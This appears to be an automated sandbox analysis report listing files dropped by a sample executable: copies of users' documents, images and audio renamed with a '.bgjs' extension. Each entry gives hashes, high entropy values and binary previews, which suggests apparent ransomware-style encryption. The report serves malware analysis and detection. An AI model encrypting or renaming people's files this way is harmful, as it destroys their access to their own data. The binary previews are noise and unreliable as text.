..q.....).....2%...\.DJ`/..F....U.....1*.....i.#.w..H..o..<$.6..rO6].s.<...po.g......(..KQ..Q^.Qm^..C.."H0.q.mp.....$Na.{ts...E..(..

C:\Users\user\Application Data\Microsoft\Windows\Recent\NVWZAPQSQL.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843470193158308
Encrypted:	false
SSDEEP:	24:FnWFm92fe28ZMcgXoQYGLy/zTuvUK5k8QEOXLiRJ3RiTkbD:FWcs8uCgQud55AL+3wiD
MD5:	A41094F04D3B3FE0F8133C6AF7E5CC63
SHA1:	3745313DBCFE906711D63BD20B667DA3B0049C10
SHA-256:	C45AF9D406750769648B2D6352D59A8D7AB388DA6AF29899BFB75F55FA2D941B
SHA-512:	6A78A5B604E63788179F399AE0EB3D4AF95BC22AF59EB20AEFFA7F4B230CC77F625625B25F35F9B92D0F49E98BAE933A1077668418244E93982181A88B0712CF
Malicious:	false
Preview:	NVWZAE.V5...Q.!7........Q{.st..s.J.:@..$He[w.B....`..r3 ..Z..v..'.&.s.B.n;>Q<.A.Mjs.A..-X5......eF.{.c...i...mP...z...t.U..3.}.80.Z.J..>h..U.+/..c.6..MJ...h..].:...r..%.8...3..F....M.$>.....,....6.bL....P.nF1}...}.9.I...G.s.Yk$...P.........Q.C...Y.^'.......f..ty....E.?....!aC...&_..Cj..^'.'.L..A.r.0q.:..A@.........%\|....i\|re...K.X.r.....lR..f...].......>.{.Ae.....g....D...sZ.A...cc.T./.M...L...cx.\|..L.. e.x.../%.h.X."...(Gc...t.&....]H`...Yhn{....P.....H.Ho.K$...]..i...........r.'T.i.xF2...$.-.b..,._.6.\|.1...9.b.S.....L..].`..E.5.$.Wv.....&.=L....j..C,...?2+.D[....d.....i./...o..A.S,U...JP.T"..F.`.....o(.....TE....D..3..P.. 3 .....t....b....].a.M~.P.oD.Ag.D...Q....@q.k./......r.i..Z.S{".R.wKy:K}.....C.8.7K.m..!.z#.\....B5.,...R.R1Q....d....!.@.7.....t. ..D8.^.s.p".A*\|.qk....dF.....y..&..5T..TU....N.`.....X....Fz.NU.{..~......C)E.vE0...M.r/.t ..5.........6....4.(..R.v.7;...3..88...p......A{lk..-.2n..........3...........

C:\Users\user\Application Data\Microsoft\Windows\Recent\NVWZAPQSQL.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.826990445717508
Encrypted:	false
SSDEEP:	24:Fx4tfF0kH3jzqgIF3/YFmRPnBXcbr3vFMIe+N4XJK0Jem8ViTkbD:FxsFHH3j5IFBV5cvyIe+N4XESe9siD
MD5:	A3E98577EEEA8F7F3577BAA4A9AB5278
SHA1:	63AD5CCF9CD98FA4391D69497897A34CC0F66FB6
SHA-256:	5CBE907D5DA1A4C0F8CED7B331149406B87CA7966E3CF8C33342C7D848CF05CF
SHA-512:	0FE95B6F0A8C7C1385762B89C84A2A9452C7C8F339F1E1EF75F2DD39D25243C4EF27C705064A1E5898A967197EAD35CD98187B4A3A71435863F9A8FAAE5555CC
Malicious:	false
Preview:	NVWZA;.pX......0..@.8..d'1..}..Y.U.i. ..72...F...A../.._..2.b...,~..W_n....q.F.O.3=.w..<...\..c.)@.@,.'.]....w..z.R..o..X{.X....=&.i}O.;.YB.ypJ......q.F-.`.I&8..}8..-4\Q.R{/aR.FO.R<..w.m...d@.$..d..2m..$k...e/..0J"FI..G.n..b.l(.6%..9..#.M.~...iNd.iHJ......M`.!.>..9sL%....f..1..g,.......B...G.u..]...-.D+.Q..V.u._,.$..G...........-..c2.k.=....=..A]...e... .J..?]..A.PD]:.$.P.u...n.u.'$...o.H...0....#+8T..og.a+qe.f..J..6.l\|..b.D.n=....!.z..%7;=....^.#.O.R4....]..m..sl.......4'HmhY+..j.!N..N..q.1.Y..Q_.....3(..R...I..j....Q.... I.........}..z.A(+KV..T.(2.0.........I.&E0\|..{.6...$.=O.i.5a.B...5RT...\A..qM....>.v.)5....Q.S^D.<>.^6...e...b2Lm...NH...Q'.\|../.m.P..O.H.....2]..[.... .@.(....I..x.{.l..:.F.(..P......pq.h.....<.R...!..;.Z;..\|R.6O..&>X.6\...7...D]..KJM..1.+..5..U.&04[.=.........=.F;.l~............v7.(0.U...x-....l.&.).."..Jf...z...0&.$...j.e..-.."..KWv/.)H...'.B.._..5.....m}$D...xmx...H...F..V..(Qm$..X...k.,..@?...t....l-.41~v.y....A.N.z^.

C:\Users\user\Application Data\Microsoft\Windows\Recent\PWCCAWLGRE.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845950108369369
Encrypted:	false
SSDEEP:	24:6CI7Iw4T8h/M5zgL/5UaotNOKGcleNC1oWmqbru8adi/lwEIsrZiTkbD:6L7Irtz3c04NtWlMdil4iD
MD5:	478E726BCFE8D2DAB8D345907F2930F9
SHA1:	45C1E97E86C36F4D2260CCB0408ACED65EF1DF32
SHA-256:	55F47D4C665723057F58A06134F6B46EF6ED08FCD5BF46BC3ED3EC004C3B1351
SHA-512:	C581853B195BBAC1AA6360F7C91840F2DC30FC4A0FB80A7841E347DA2A5B215234ECF26C968DBA730C798CAC7E2AF72ECFCB795B75AAB62091A3920FB7ED74E8
Malicious:	false
Preview:	PWCCA..(E#."...k...K&YS?..`.V..E.....G.2^}I..K.. .)..%0.........u.&w`p..:j.}.....(.@..L.K%...^+.........F../g..O.E..h...V....(......Z2.....1H...r.}.\|.f.. .j.Nq.C.G...I[..<.m.....n.Y...>..Kr_..]...xG.A...C..h.z.......T..p....q...D.l"j;K3...,.j&K..m-..g.,.71....#.uAp1y.a...K.......b..a.]..ozA........d.US..p....C>G{52,L.z....(.7..KM..\_....2.EY....{>.Qo..Bn.S....P^....[....F..=O<_..j...qp...4.\|.....#....O..R....1v3nACu.9.E.r:`.....,..P.O...3.[...l%..S.@..u...j.....+,..s....9lE.....h...K..}.j@....\|.......C,..1j<d.oe....6"jy.\x...Y.W..a.@...U.D..)..(z..h.sq..)G4P.;o..br.8F...ok...O...i.f@..>....Mi.J...Y....(.>.7.9.....v3./..~..g.....;.]....>5P.Y.U.~....<}f...3.`',..W..US$-<...C......7...T....#....F...^Q..fP.H...7...!.r+.J;2.v.%..l.....hMl..\........?:(.\|.....7_.C.>...4..V.7...^.#DZ....~...'rd.......&.da.2;...#..]8K...B..O.....^..Ba..R........?...f.....f...y ..z......r}..I.~1.)X..M..v........o..B7l.Fpp....5l.V.l....c...x.6...w..."Q

C:\Users\user\Application Data\Microsoft\Windows\Recent\PWCCAWLGRE.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844221277175386
Encrypted:	false
SSDEEP:	24:P4RGRigkzGUmEYUD3ErLUOH5S8mhP+RNhBaxgV952p40IsPTgSj6dkoiTkbD:PAGuGO3M5Hw8mEBk895S40IsPTgO5iD
MD5:	C1FC5E83E4E0D153DFCB31EE13B3E310
SHA1:	7C9E334655333C1EC423042C17A82E9148BD0053
SHA-256:	BF1CBA8CAF5250385B8864817CDE1F23BBB5209E71C14FF840A49F38A2544DCA
SHA-512:	FDCD9AE5C694183083DF0E59A5D883B6217AE0ACC15ECE8262447C72BDCB4FDA6F7690E3DB84E558F41CC46333A0F0C4299E1B15A27D2DDF5A876D22EF51AC51
Malicious:	false
Preview:	PWCCA........[.......R#_..:..@.. .p."O..B..Cw.0./..{4..28.....$..&....&.d,.....h..H.&..M.z..c.....0.8.........bLWQD+0.O:J.G./.U...}......WU....0...52......6{....:.......slX.&}..0.tv....\|.>...q./..l.k._!....bt&.E.BTa...)...uj2....e.....'......,:..%..6...<(E..L67...+....E..!.......P..C..........@`...FLi7..s..W.8\.2.R..m...j.LD..H.4..9...!J......9a.......{.)z...at...n...&..P?<L....)....T'.C..h..m,2..]6FrI.hB..YI..eIaT..F...........t...&!....~.y......` v......R....R.%'u.k...G...+..k-.VZ:..'.}A:P.;....]).B.&......E..#..B......~..R.h]...@=.......yutR..g....,.\|....q..1.g..`:.-1.R.F.L.........'...gFN..2......m.OQ...1...U1..........W1_o/.`&.r..."...=.:\....lr^...P1Z.m....?.....O.:0..c...*L......r}N..dQO...qtD..P..o.(.c.%.z.4FM...a..%.<..n[...j...uK.ZH+.G..{.mO..w1Q....2..^.\|.../)..u...[.9..\|.7........b..D.2.......@.e...".nh);bPS.._.V.Tl..D...n.P..O@".....zU...Z.k.$.G....i..w...Rw.H.........a..j....9.PQS..5p.c..Vl.X.XBk.....X../.b.!.e...L..

C:\Users\user\Application Data\Microsoft\Windows\Recent\QFAPOWPAFG.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8599373391139205
Encrypted:	false
SSDEEP:	24:ULYLGGf5lseUdOQyFY+QR+I9wNcxGY/1tHjPBPhqvVSC3N9a3iiTkbD:zae5lZaOjGxR+I9UcxFtbhr043XiD
MD5:	8B3052BAD049BC1D162CC19FA7EB3C8E
SHA1:	5AA95449896186C2E1F3F8AE47988F1A0B08ECC3
SHA-256:	B6F5974F86F3350D562658E2443328ED35C33087B318D73293A6953A8B48B0E5
SHA-512:	5C084ED3EB9D64BE7585DC3B0678F6EB28FF32F2FFE6DF7A10410B9104C09E7B72A12B686FC6C1B392344B5724D5FCF00B6606B133D56B3AAF74FCD57A58F5A3
Malicious:	false
Preview:	QFAPO.@..-y.....e...j......J...U...V...U.G.....p....cK....O.p.........R.@.#.....p..A.3....{.qL.;.6.CD......)....Or....^cL..5Y-..=.B......d...$.....k+..t`....:g...x...c...........A...~+. _-V....[.#.......?..`..).9n....T9q..,ek....H.C\R.T.P..^..Z.u..)49'...>....l.<6q\|....)D...).&......<.....4oi.....JxN.........u.$.)......W..-D~...._.^I...}.......W.f.\V.N#h?....3...._e2....B...U.....?.\KJyA..z.4...2^.......7~...-"....f'.<.g.L...J."04L.QF..G.A.p....h8.!...B.p..#T.~..U../..2.A.....F.JQN..R.HA....i.V.k.-c./.......-m0..w....Q...O..A3.rc./c..q..t...........E.D...=Loz.@..8...OmC..3..6Op......%.dj&.&#[.~..u.....Q....\|eB.......=m..Tb.^.....]Zro.4%..ZCF.5..^.....$...0j...tK#[3..S..v..........Z......I.R..<.......Kb..`.F..d...WJ.U......3..h..#.`.V.....v....;g..~k.Br...^A.<......4h....R..pWC..h/..\.w&...M....~.}.[...\|.p_.0[..j....C+<\|....+..2....a.BT....n.!.#..d?.'K.c...'.....D..@I...<..........E....Goe(_.=.o6...c.=m.s....,.c8S...P.w.K..L.....~n...

C:\Users\user\Application Data\Microsoft\Windows\Recent\QMJJVFJDVI.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854111458679547
Encrypted:	false
SSDEEP:	24:wsd7pm8u1pdsXlW4YDBTVTRQEctbzp+WG5JK1sX0g4r60SCgoIGeCmH5WZiTkbD:hm8jJYDBTpqzzQWC01sX0xtSxLGsH5Fq
MD5:	8FB70FAD9A72FEB49D9A942AF9B8D5BA
SHA1:	EB4E59ED4664C3A91BB48CA33837078B5E5A9DA2
SHA-256:	4DE340E932F0068D0DBE0DB68E67F497EE5ABCB122FA178BADC8DC5C5CC32B8C
SHA-512:	7BFED6A643E80F028442C82B522BEA5C479263AEC46A2AA91E8B09BA358245050C4357BA2B3AB8E7D3D078FB490AE67D562CA89E6CCC29BA12B0E77834DFE766
Malicious:	false
Preview:	QMJJV.2........J.N.\.B...4..aF..o0......O...}p\#z......l...$k..n....4I....y....o.[.......I.&.......)..l...0..6....Jk..C.I.6.."y...^.)Z..\|.\|1i&$.6..n...O.N=.mN6..v.....Y.N..+..S.J...zZ_.Bq'......N..#>!#)......d...K.....^..bE."XseOc~..oC.!.ux..f(..4..;epIhT.x.I..6S.....}.N..Nb..1.....=............9\|...&...4.......\|.u.2..L....@.bYE..+^......Z...\i.O<.1.s.....S......a....#V..A......N...2.`.S...8.-b....os_.H..o.t....#;.9..4..G]...X.\./....~..Y.........m%..jwz...F....pi2..8;.o.bF+.m.......\|A.z...%>.kx....'~...N.c.Ao.H...</.f. .....[.0.J%............ON...L..../p..........^-.goJ..S..%.-{.'.J.n9vt`m...:...x....G........:{^...(....).v....F......'^X..?v..k...GJ.........U.......G12..D..`..Y!...b!F`.T..w....."..3.W..a..A.3..T..../ .2..TC.X.gml.OV.......j...3&..:_pc.sZt2....I.4"%..n&R0&. .w{b...wW.`..Y"..a'...g+Kr..1{.B...z`x^z.F....n..#G.p6...d%~c..4.)nv.....GYZ.#...s.W.../...U..8.@.r./.',F'.=....Y...\..=.w..g....LZ....U."-.L....Z..uT......#].....NN.

C:\Users\user\Application Data\Microsoft\Windows\Recent\QNCYCDFIJJ.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.888915103180906
Encrypted:	false
SSDEEP:	24:3FR6ogTfFkUpEkhlQI1TTd1WurVo8FLpYEw348j8SY76DOBO4mPtBFNRIWiTkbD:3FR6jPuk3dTd1RoSiX49SFDQONPhNRIG
MD5:	6DD21C3E77019913CE5F1A3CA41E4579
SHA1:	DDF603B7B63D0E3EE7ADB699464F3E31F1F6CEF7
SHA-256:	753CA8CB3E24EE39E9BF5C89E00FFBC79781056A7CB0A8995D570B086D7C3DD7
SHA-512:	3DD854737EF35AB08483D750100614D6D677DEE258B660C904EEEBA8DA6E4F57629C728F05781E48665180584607244B702502C15DA800C582C2FE67E608403D
Malicious:	false
Preview:	QNCYC...fn.=..."..t...4.l.S....N.S.9p..H...Tu.H.i..Yx@.Qy.B........l.....s.$P.JO...ft...b......:.%.i.t..{.v..O.Z/r.....J...{.6jg.a%7.Q....:.:z....;.w...._(I...H1O...rE..z..]..0][U.1.R.1Z.t...DP........\|,...O...^..]w".'i7O....H.<.f...jrn....0.?.$....Jf:.b....-..rwYV9...k.Q.u... ...8.....D..........J...#....w.X.k,.Fs>.=...V....b.!.....;..[(...Q..C.....O.c.@.+k....N.im..w.Q...h..!...$......i}.!...........`o).&o.O. ..T.....&;...y..=0..(..[.I;..4g5...2.9_.A...V.....F...........i..p\.#..../............II.V.8....L...^5K....3..h.......].P...ivL.cq.K.q..@de*.=lM...?..S.)...].......X.y..L[..R@^CJ.0.}N.).: .^...gO..1F.u\|.......,cR.\|.a......S.. ...:.....0v"._.W.Wz.sz.w..._.....a../..`....L.U..n-.d..l...%.}..`.(+....._.yB....M.K8.<k.\.K.'.oQ5:.)...`G.J..........\..U...!}..5oQ..@.6...aHT.6..eq^QTg..%.K .ize.....8DO.d..D.."y..E.;H5f.J. .....~=U....G.........-M..b...)B.T.f.O..H......p..t....>C...K<....8.....V2t..j1:.....&...V..9.(.../..B..Z+..JBxgtT+.}..

C:\Users\user\Application Data\Microsoft\Windows\Recent\SFPUSAFIOL.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8539363589595546
Encrypted:	false
SSDEEP:	24:LzF8/zUWe4lepqTA4lG1EWNAsXS52SC1F6gpx9mqlsSsBSiTkbD:LzWzU1dpqTTlG1dZXSQzRx7KdiD
MD5:	BB4122D454372E4C0BCFBC9ADBC64B72
SHA1:	C019A3187A1AC723A020BB6ADD7B1B0862AC2C2B
SHA-256:	2D09F7EA8CC434CB635767AC176011D0ED47FC77558F84B0D474F9494034DE59
SHA-512:	F9640FF58C54D66CB7F166703EF623BA5EE8F89CA889B5A06441AF7421A5F1CAA331D4B518444E0442862F95E27A92B54DEF9323BD57C9718C4005854030246B
Malicious:	false
Preview:	SFPUS2..Z..\|..H.$.......9.....r..l....A..P^>......m...X.<5..GAZ..7..-.;.N...>..2_;.....9..1GL..n..Q..G%....1.....G._.Ke.Mq.Az^.......^...B..pk9.v..R46...o(.....T....."J.:..t...W.O{w..w...^exl iy..=8.3f........\|.iN[....V...{.J\|.......A.?..s.I.... ,._.Ug....ak..5.B..E.m..X.......,...l..k.o..rU...u..V..s.oc........rI8Z#5#....L....b..>........@..m....2..{E.p...R.O..g.!..;..F...X......B...R.....%3.3...4!..\B..T.6.tm...:.Bh=...].E.x.J..H..^U....@.......3Z.#V\.t..BVa9.....G....V....Z...Mz..A...TQ._..b.... .kz...a.W.k..z@[.<.X."P...../.yZ\..e....>8.7..z.A.t....s{.../mW..F...A.WswDw..z=.R.1[q..\..............B=..)...?.^.._.;&C=.UP..B$8.....7...a-....~.."....P.Q.;....@.....2....O......M....c`n7.Lz.....]6.G...O;b.....yI..$.....tY.....A....r.H[..#..Kxm..%..e..W3~.CB...Q......`....L..J...H....bw../..9*..Pn]!54p..C$ECW..<.._.........F)...........O..u.]...k......h...e..p(i..".R..d....XL.e..n...J....A?Q$H8..!.........7<.O9..@thy...{7uL.Wv-...N.

C:\Users\user\Application Data\Microsoft\Windows\Recent\SFPUSAFIOL.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83031371496888
Encrypted:	false
SSDEEP:	24:ss1712SYtH6qbWYQY8QfogHpKFcMJvKA4BthM5rxWOlkiTkbD:sE71dq/QY8uo1FcMtKA4rh2sQiD
MD5:	9D0B895129478311D4350FED31AFAFC9
SHA1:	A84014277BD86FF9DE0C65005FC9B357E3C0D45C
SHA-256:	7CCF7CEE9D3BD3891B12615348985A458687B8011ED6ACFB0598B15E7109EF0E
SHA-512:	65BBD540CCE72D1EE08990F841C71BA02ED9DD50F39600D71B8BDEC7BB3692BAA8F0B1D91FC6F85C7CCBD860447BC9262BC1657840ED2BA37F0C8FBB0635AE9D
Malicious:	false
Preview:	SFPUS.zf.-.X.Y.hE.v....K..w1..N&....6.`...z.G"..y`......!q.........'.hO..Aq..._..4$5.p.eS#...e]..4...l5~.XO...9+.....W....p..Kj..'..o......N.kAC..wVz....Zc.1..B..?u.6G.Pj....s.....?[.........."._..b...._.6......2..`.......G.H$'.R.y...S.]..=..z.9......Up.....m..w.fw.......k?...wE.[Z...P;.!%....9..>2.E.?.-..8.00...2.?.[..T.~...>.=4..w.}j.....w.....}....^.....]...L.^(k$K.{.'.Af.f5.........-.... Q.....,,..<...5......~.z+gM6..oL;..VC.t..x{4.MQ....@..7....]...J.2-.D7.G......:.k.Y-mLv...Cl.....'.1.........v.8\~O.^.y.....-.@.!..M[7\Z...e"bE..T...k.......}Oo..R_.b...Q....h..~..~j..v....^Jz....n%..;....1.V._.9V...}...wam..M.P....."HMn....!n.].EU3.G..#.7...6....L....lF..~.oco.<...EryG.ys.X..v..p.2k.<...hX3."(... ....n..N).tY.=.\|.`{0....H...Q:.4:......O..Ul..u,...E."j..s.<.`.........AKT..CT.h.......W.M..j=f.;6-..<v.L..r.....I.. >{..lu..5eE.`..0/..o.rQt&./q.Y]...{....l..OGX...9.......Z...T...CuI.M].).X....2.7...8l9v~.h... c`..].LD.. .S.....f.....8.l. ...7.A..

C:\Users\user\Application Data\Microsoft\Windows\Recent\SQRKHNBNYN.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854969247175332
Encrypted:	false
SSDEEP:	24:YBCVo4W9ecu51BOwtmNk7I5BuY7DdZNS2Qc75Bb1L2CFE9iTkbD:YBCVo4se5fOwgG7I5nDdq2Qcbf1iD
MD5:	8B18106A71B5C7AEA67FAD1F224775E2
SHA1:	2752C53D3B0C08FA33E38C2DBB168BD40CE0B2D5
SHA-256:	11186B32E5259820F53565EDA0C71E067E9CA5CDBAF8F80016E3668CFE235B0F
SHA-512:	9379D3C76074AF2880642297E60E59F912B662F5F143641B54B7DB6C7059BA41B56ACCD16B145C527C276570FB67BEC11790FE9D3B6C5990A1096F8304E67845
Malicious:	false
Preview:	SQRKHAw.h)o.?.I^.......`{e....S.p.Kr..T...".C.hme.\|v.O.....jfK..r.....4+..9C.L.-Ru.56...X....y\..9.A...U.&..!...(.,6Q.CJ....%...lm....g..8.n....z..p...-......%x/O......9..../...t..;a.V.G].87..\|U>BR.E....y.x...LV..=C....W.X.#l....`c..".5..}..o1^.......;.]S..V..3.g.....D......3!6G.....~...u..F~j......:....k.t.W.....&",..E;..kG...;..]......._.......U.5L.....g..I.......k.[..H....m.....g.t.,-..t.M^...?tWA..( .{.h.O....))....g4.. ..."k....Y...Hm9/..........^.7.F3gqA....<........Q..6...X^.....4..Y...T.,y(e.m.p.L=-.V...z.5?..9.t9]..b.o:.....o.e...x..1C.........;.......3.^..{....M7.U.k0.`.-z.. .....u.../..i5.j..<..../..y..u...,?..{.....b..-..'n...;......*.z.W.B.p.p.v....G........@\|I.6..`..x.F.r\.rtq.W9u;..v.5....{1b...(.]...G.8....'KI.....#....lzY.Ag.....8....W.....\|.o....Yr.(.E.G-..9.z.8#.p.:..J.g~V..`...@V...Q]........s.....\.\|t.pQUT......f.......&............u......L.x..C.\|.P9.v.l..d.......o...U.4Z..[....._...C.=......._..X.7...W...

C:\Users\user\Application Data\Microsoft\Windows\Recent\UCKFKZQOSO.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863327139596664
Encrypted:	false
SSDEEP:	24:q2ilgQ1nIH0aP2DW6p/o6DIjLkO3nAHJDuExIKJHAZRoj+/iTkbD:/Q1Hae/o6kjLb3nUXpOAiaiD
MD5:	6C71F9093C88318FB32410E7F6599D82
SHA1:	BB8C60CD1A785DCFA9A4714E5AA3750024A40619
SHA-256:	8D35BE63F00CA90A58BC01F77C88B9933202BE29712D24570AAD54327AC80F09
SHA-512:	6BFF66723A87820DDE1FAA3815A2BC7985BB936A7E4ACC4FC089309A3D98CEEC05737390598DFB315AB3D938FF025F5DB3E11FF2AAA8B8B92225080AA5165605
Malicious:	false
Preview:	UCKFK.H.....%.+.w.....la.[.....F:T.o..hU......5.&.U.+?.q.4..b.f...f...w....b..fV..a..7..:..Y.q@..Z.^..'....S...n...Y.8R..5I.=%.'..r.x.5{T@.P6....QU.W.N.q..;(..c.RV.I0.m.m...........I.mfV..Rp.t_..D....w....;.8...{w>3._...bX5/...g....Z.v.~.C8....b......X.Zi.fF.eV..n.a.]Y~m....q3.....Ea%.y.O.W...P..$.L.t.ok.....m.....%..o..K.N.$..H.d.sy.C)...]..F#:d.e.0.b>y}.S.{._.......'+.....Fc....._....S..r.F.r.$..juA...?h.v....(...s)..2.)vx8s.W... yZ.........5T.3u...N7q....mrs...)..u . .L...4.../..].6?....Hh...nZ.%K......8.>.+.f.N...i....A..z....C...{..zD...1..ifu.7.`..C....~......O&4...n...5.L....i.7)....`<..{41#c..%K.....(4+...-p..u..u<vt.\|VL..u.....r.....<-:...:...y..K......v.Qj....Q...6.+>x.gB..X.............?..E[..T....+..S.......!...v..OT4.\....#...[..`..6c.+.2.;\|y.P.a.....I=[.v.+..4vv.R...')1...`e.......`0c.2.]b.t..qz.[..#T..... LHX........-...4$xi.(....\|N..Y...I...c.G.G.A.dv..>2?.I}.B.a(.8......,..X.'D./..z...{.Am.z.......P&.{!.O=O.._&...

C:\Users\user\Application Data\Microsoft\Windows\Recent\UOOJJOZIRH.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842414735779379
Encrypted:	false
SSDEEP:	24:2uXB4VBEEuAbtpfDYgfzkgPy5shKn3LUF1EjcdFM8rfLc+Kjt5Nx1o9iTkbD:2uXG8bgfzkgK5shCgFLM8rfLc1hxCUiD
MD5:	4F7ECBF2E5C77E152E67CD5A0FC18A67
SHA1:	EF9B930631E305E71517D53072237FF8DF51F157
SHA-256:	A6363D9DE468AF2091C89AD96882008071482036AB44683468CF0F6D9ACF0D96
SHA-512:	8DA48EBD96C83524E65675FB5A45C9F4A9926A322F25BD6C1455FE5FA55A179232A4FE4E2B8291D95461CA0DA60E930AB7BE60014BC5D16C4882EE2FE3DFE953
Malicious:	false
Preview:	UOOJJ4.P .{..........B.](_(:b.#s....G.+.0.....:0...f.J8.Y...M..tL4J....6...,.J. [.y.....M..\|E...,M^.....D.}.I..w..`..o..y.0.S....I6....9V......%....]!$.%...Hv.\WT.Mr..X.2..' q...P..q@..2..zt..tr.9.....q3H. ou...?M..X..i).=.z..g.9.+.hl'/......k..>sdx6d......@/..i.....b..R..L.-.~........p..{2v.$.+.H.U.DT.u.ru..\|r....Eb.Gr.."8.{...Z..f5...?...Y..CQ.T,..Vru........:b.mc....`...2I.....<.....'.[/.5\|i=..).C.$.[..6...).......W;..bBk.#Kh..%).L%...{+.a.-@.W..V"..X.\./...1..^3.../?..hJ_3..I5...%.C.W.W..Y..d......9.C!.KfV.3.....C.;......,.\|....d.d...C..q.a."I...U..&....u.s.B..@...9n.!D{y.W+cy)z3.0n......8....4....j...@J..F.....s..BI....Y\|p..l.)aZ.....(:..1.x1U..+...;..%>.....c'....QO;.T...m.3m..d.^._i_.VGR...<>.'.L.....N.......iN..=@.C..:.........F4..J.R._.fF..'.;.......a.L.+LIV.m..f...X.eW.#.<=.....y..e.)z..p--L}....3_n....E-..]...;*.SM..H.......^.k.9.~.Z.8\{.R.+.G.}..G.S.....`s...$.=~..`.+V.k...put.U4.#.....[......r2VG=...\|U.Dy...X..u..%.\G......{5S1

C:\Users\user\Application Data\Microsoft\Windows\Recent\UOOJJOZIRH.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836792514415417
Encrypted:	false
SSDEEP:	24:x1AvyNH99CbhyEr5C6yLUa0/bzmp8g71hic8Cu6Vr3uUUCUVvBbd0NrJiTkbD:x1AvyNH9GwEtzYx0/Wp8g71hF8pqDuUz
MD5:	48402610655406232AB2FCD221520994
SHA1:	4A38AB9E95446ABBC3B454FB5632E41074F9C557
SHA-256:	3BA6E9060F3E10D2550A3B01AEF4DD1D60DB8CBE00F6F243A77559B28593345C
SHA-512:	C870840AFC72BA040475252DB54E43648A25FE126456194550A3E6562627C8F98DBC274CDB31EFD70A0A068D7B967BD579CA74CD34AAAD5499DC1B58D7592974
Malicious:	false
Preview:	UOOJJs.z.G.w.G..R0.~.]...f..a.......A...`-W.9a7.F.1.....<v..B.....!5...!o@...Gb........5,'.........K.&.../.6.g<..7#_.'".....dK..........-./'...m..j<~."Xb.:l..s....O..l...w.u..i.K.m.6..m%z.S...t&m....~.....e........;...xm._a...e......Ly8...w.6..n.B...\_..R..2...F,.6.....K..8D..AWs;.z.o\..._.....6.4.>.........!Lq,I....?"..c..TT...FRl........1_;.X:.%...$...N.g.~!...b?..1.e..'k.Jq=Y.....~..h.+.G./.....>....L.N.K..H..)7..P...Wu.....<3Q....cB.@..}.?...^QShd(x..[..T..K.~a......n.U......4#....PJ.(...\....3...j.8.G.....e}!.1...Q..~...T.D).3..%.5\|.`X6....h]..#....7eex....S./.N.-2.u.3."..T!.(7.2"o...w?..0}.9O..5.....b..~..F.CO..M...o7pv.7.....j.d.b..0.h.F..Kl.<R5&v.9W".%...-r.,...dF....Z.a.....&fX....f7....r.5..N.2....R8..Ds'o...a"....i.7"..}......ct...L^-.....\4,_..............N.L..}5....6..a.5&..z..r.....;~@........J\|E.Qd........cgT1P.Z............FI.........w....]&..'uF....RH..(...i....:..#...Z.....<oY.H..rI]..H_....7._......!

C:\Users\user\Application Data\Microsoft\Windows\Recent\YYTXSGEDYK.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.829745909093617
Encrypted:	false
SSDEEP:	24:IDWzuzUlW6voSt46Mw9s4vIP8VDrKUZyoX+nTvRKPSaTFExhiUlFiTkbD:EWqWWeoStBMaVD+UgnTv+/FEvi08iD
MD5:	132BE9AAF932140963C3EED047E04929
SHA1:	3E7263A4363FA627234FDED7B1CC14D35AAF3864
SHA-256:	2BABAA60A5300CA53BDA47E336018AEB0508AEB6A895F2B951FE54649DBF2169
SHA-512:	13DEF8FB1DF518550A882942EE05B386053B7FC9BE1D36AEE2E60D1D706DF478A975C31F71DAC8B65C575E07A415E88DB9D70A45E24A6DFC865C69157AAE1A3F
Malicious:	false
